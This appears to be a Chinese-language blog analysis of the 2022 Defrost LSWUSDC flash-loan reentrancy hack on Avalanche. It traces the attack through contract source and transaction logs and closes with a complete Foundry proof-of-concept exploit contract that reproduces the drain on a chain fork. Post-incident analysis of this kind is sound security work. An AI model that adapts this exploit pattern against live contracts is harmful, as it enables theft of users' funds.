20221223-Defrost-Reentrancyhttps://twitter.com/PeckShieldAlert/status/1606276020276891650漏洞简介https://twitter.com/PeckShieldAlert/status/1606276
https://twitter.com/PeckShieldAlert/status/1606276020276891650
https://twitter.com/PeckShieldAlert/status/1606276020276891650
攻击者地址:
0x7373dca267bdc623dfba228696c9d4e8234469f6
攻击合约地址:
0x792e8f3727cad6e00c58d478798f0907c4cec340
被攻击合约地址(LSWUSDC
):
0xff152e21c5a511c478ed23d1b89bb9391be6de96
trader joe wavax/usdc pair
地址:
0xf4003f4efbe8691b60249e6afbd307abe7758adb
这个是trader joe v1
的流动性交易对
首先使用LSWUSDC
的maxFlashLoan
函数查处最多可以提出usdc
的数目:194263946118
调用LSWUSDC
的flashfee
函数计算出flashloan 194263946118
数目的token
需要19426394
数目的手续费
从攻击地址向攻击合约转入19426394
数目的手续费
调用wavax/usdc
交易对代码中的swap
function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external lock {}
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
require(
amount0Out > 0 || amount1Out > 0,
"Joe: INSUFFICIENT_OUTPUT_AMOUNT"
);
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
"Joe: INSUFFICIENT_LIQUIDITY"
);
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "Joe: INVALID_TO");
// 转移amount0Out的_token0到to地址
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
// 转移amount1Out的_token1到to地址
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
// 交换函数的回调函数
if (data.length > 0)
IJoeCallee(to).joeCall(
msg.sender,
amount0Out,
amount1Out,
data
);
// 当前合约拥有的_token0数目
balance0 = IERC20Joe(_token0).balanceOf(address(this));
// 当前合约拥有的_token1数目
balance1 = IERC20Joe(_token1).balanceOf(address(this));
}
// 计算出token0输入的数量
uint256 amount0In = balance0 > _reserve0 - amount0Out
? balance0 - (_reserve0 - amount0Out)
: 0;
// 计算出token1输入的数量
uint256 amount1In = balance1 > _reserve1 - amount1Out
? balance1 - (_reserve1 - amount1Out)
: 0;
require(
amount0In > 0 || amount1In > 0,
"Joe: INSUFFICIENT_INPUT_AMOUNT"
);
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(
balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000**2),
"Joe: K"
);
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
{
"caller":"0xf4003f4efbe8691b60249e6afbd307abe7758adb",
"inputs":
[
{
amount0Out:"0"
}
{
amount1Out:"194,263,946,117"
}
{
to:"0x792e8f3727cad6e00c58d478798f0907c4cec340"
}
{
data:"0x6b696d696d696d69"
}
],
outputs:
[]
}
由代码可知msg.sender = JLP = 0xf4003f4efbe8691b60249e6afbd307abe7758adb
交换数目194263946117
的 USDC
到0x792e8f3727cad6e00c58d478798f0907c4cec340
(攻击者合约地址)
再由回调函数
IJoeCallee(to).joeCall( msg.sender, amount0Out, amount1Out, data );
进入回调函数中
调用maxFlashLoan
查看当前LSWUSDC
有194263946118
个USDC
LSWUSDC
调用flashLoan
向LSWUSDC
借出194263946117
数量的USDC
{
caller: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
inputs: [
{
receiver: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
}
{
token: "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e"
}
{
amount: "194,263,946,117"
}
{
data: "0x"
}
]
outputs: [
{
out0: true
}
]
}
flashLoan
函数,这里的baseSuperToken
合约是abstract
,所以onWithdraw
函数等没有实现
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external virtual returns (bool) {
// asset = USDC
require(token == address(asset),"flash borrow token Error!");
uint256 fee = flashFee(token, amount);
onWithdraw(address(receiver),amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
"invalid return value"
);
onDeposit(address(receiver),amount + fee,0);
emit FlashLoan(msg.sender,address(receiver),token,amount);
return true;
}
具体实现superSwitchErc20.sol
function onWithdraw(address account,uint256 _amount)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
if (lendingSwitch == 0){
return superAaveTokenImpl.onWithdraw(account,_amount);
}else{
return superQiErc20Impl.onWithdraw(account,_amount);
}
}
superAaveTokenImpl.sol
function onWithdraw(address account,uint256 _amount)internal virtual override returns(uint256){
uint256 amount = aavePool.withdraw(address(asset), _amount, address(this));
asset.safeTransfer(account, amount);
return amount;
}
amount = 194263946117
,再将USDC
从被攻击地址发送到攻击合约地址,也就是攻击合约借出194263946117 USDC
接着receiver.onFlashLoan
,这个也是回调接口
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
"invalid return value"
);
interface IERC3156FlashBorrower {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "IERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
{
caller: "0xff152e21c5a511c478ed23d1b89bb9391be6de96"
inputs: [
{
initiator: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
}
{
token: "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e"
}
{
amount: "194,263,946,117"
}
{
fee: "19,426,394"
}
{
data: "0x"
}
]
outputs: [
{
out0: "0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9"
}
]
}
在接口函数onFlashLoan
中
攻击合约授权给被攻击合约uint256.max
数量的USDC
LSWUSDC
将攻击合约贷出的194263946117
数量的USDC
deposit
进去
给攻击合约地址mint
一定数量的LendingwithUSDCoin
function deposit(uint256 _amount, address receiver) external returns (uint256){
uint256 amount = _deposit(msg.sender,_amount,receiver);
emit Deposit(msg.sender,receiver,_amount,amount);
return amount;
}
function _deposit(address from,uint256 _amount, address receiver) internal returns (uint256){
// Gets the amount of stakeToken locked in the contract
// 得到总的质押token数量
// aaveUSDC = 1
uint256 totaStake = getTotalAssets();
// Gets the amount of superToken in existence
// 得到目前的superToken
uint256 totalShares = totalSupply();
// 算出_amount
_amount = onDeposit(from,_amount,feeRate[enterFeeID]);
// If no superToken exists, mint it 1:1 to the amount put in
if (totalShares == 0 || totaStake == 0) {
_mint(receiver, _amount);
return _amount;
}
// Calculate and mint the amount of superToken the stakeToken is worth. The ratio will change overtime, as superToken is burned/minted and stakeToken deposited + gained from fees / withdrawn.
else {
uint256 what = _amount.mul(totalShares)/totaStake;
require(what>0,"super token mint 0!");
_mint(receiver, what);
return what;
}
}
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
if (lendingSwitch == 0){
return superAaveTokenImpl.onDeposit(account,_amount,_fee);
}else{
return superQiErc20Impl.onDeposit(account,_amount,_fee);
}
}
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override returns(uint256){
// account = from = 0x792e8f3727cad6e00c58d478798f0907c4cec340
// address(this) = 0xff152e21c5a511c478ed23d1b89bb9391be6de96
// _amount = 194263946117
asset.safeTransferFrom(account, address(this), _amount);
return aaveSupply(_fee);
}
到这里onFlashLoan
的回调函数运行结束,结果就是从LSWUSDC
中借出194263946117
的USDC
又被质押回去了,给了aave pool
,现在的aavetoken = 0x625e7708f30ca75bfd92586e17077590c60eb4cd = aAvaUSDC = 194263946117
下面运行onDeposit
函数,就是将借出的钱加上fee
还回去
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external virtual returns (bool) {
....
onDeposit(address(receiver),amount + fee,0);
emit FlashLoan(msg.sender,address(receiver),token,amount);
return true;
}
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
if (lendingSwitch == 0){
return superAaveTokenImpl.onDeposit(account,_amount,_fee);
}else{
return superQiErc20Impl.onDeposit(account,_amount,_fee);
}
}
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override returns(uint256){
asset.safeTransferFrom(account, address(this), _amount);
return aaveSupply(_fee);
}
运行safeTransferFrom
,结果:
{
caller: "0xff152e21c5a511c478ed23d1b89bb9391be6de96"
inputs: [
{
sender: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
}
{
recipient: "0xff152e21c5a511c478ed23d1b89bb9391be6de96"
}
{
amount: "194,283,372,511"
}
]
outputs: [
{
out0: true
}
]
}
LSWUSDC balance = 1844317410414
LSWUSDC
调用redeem
函数,最终获得368503793484
数量的USDC
,这里是因为前面回调函数deposit
中转入了
194263946117
数量的USDC
,而闪电贷函数后面还钱的时候又转入了194283372511
数量的USDC
,所以就变多了,这样就是盗取的钱
function redeem(uint256 shares,address receiver,address owner) external returns (uint256) {
uint256 _value = convertToAssets(shares);
_withdraw(_value,shares,receiver,owner);
emit Withdraw(msg.sender,receiver,_value,shares);
return _value;
}
function _withdraw(uint256 _assetNum,uint256 _shareNum,address receiver,address owner) internal {
require(msg.sender == owner,"owner must be msg.sender!");
require(_shareNum>0,"super token burn 0!");
_burn(msg.sender, _shareNum);
_assetNum = onWithdraw(receiver, _assetNum);
}
function onWithdraw(address account,uint256 _amount)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
if (lendingSwitch == 0){
return superAaveTokenImpl.onWithdraw(account,_amount);
}else{
return superQiErc20Impl.onWithdraw(account,_amount);
}
}
function onWithdraw(address account,uint256 _amount)internal virtual override returns(uint256){
uint256 amount = aavePool.withdraw(address(asset), _amount, address(this));
asset.safeTransfer(account, amount);
return amount;
}
把194866164349
数量的USDC
还给JLP
这样IJoeCallee
的回调函数结束
这里的flashLoan
函数中,没有进行重入判断,在flashLoan
里面可以进行deposit
操作,这就需要两次转入,所以前面使用了trader joe
的pair
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/PeckShieldAlert/status/1606276020276891650
// @TX
// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d
interface LSWUSDC{
function maxFlashLoan(address token) external view returns(uint256);
function flashFee(address token, uint256 amount) external view returns(uint256);
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
function deposit(uint256 amount, address to) external returns(uint256);
function redeem(uint256 shares, address receiver, address owner) external;
}
contract ContractTest is DSTest{
IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);
Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
uint flashLoanAmount;
uint flashLoanFee;
uint depositAmount;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("Avalanche", 24003940);
}
function testExploit() public{
flashLoanAmount = LSW.maxFlashLoan(address(USDC));
flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);
Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));
emit log_named_decimal_uint(
"[End] Attacker USDC balance after exploit",
USDC.balanceOf(address(this)),
6
);
}
function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external{
LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));
LSW.redeem(depositAmount, address(this), address(this));
USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee)* 1000 / 997 + 1000);
}
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns(bytes32){
USDC.approve(address(LSW), type(uint).max);
depositAmount = LSW.deposit(flashLoanAmount, address(this));
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!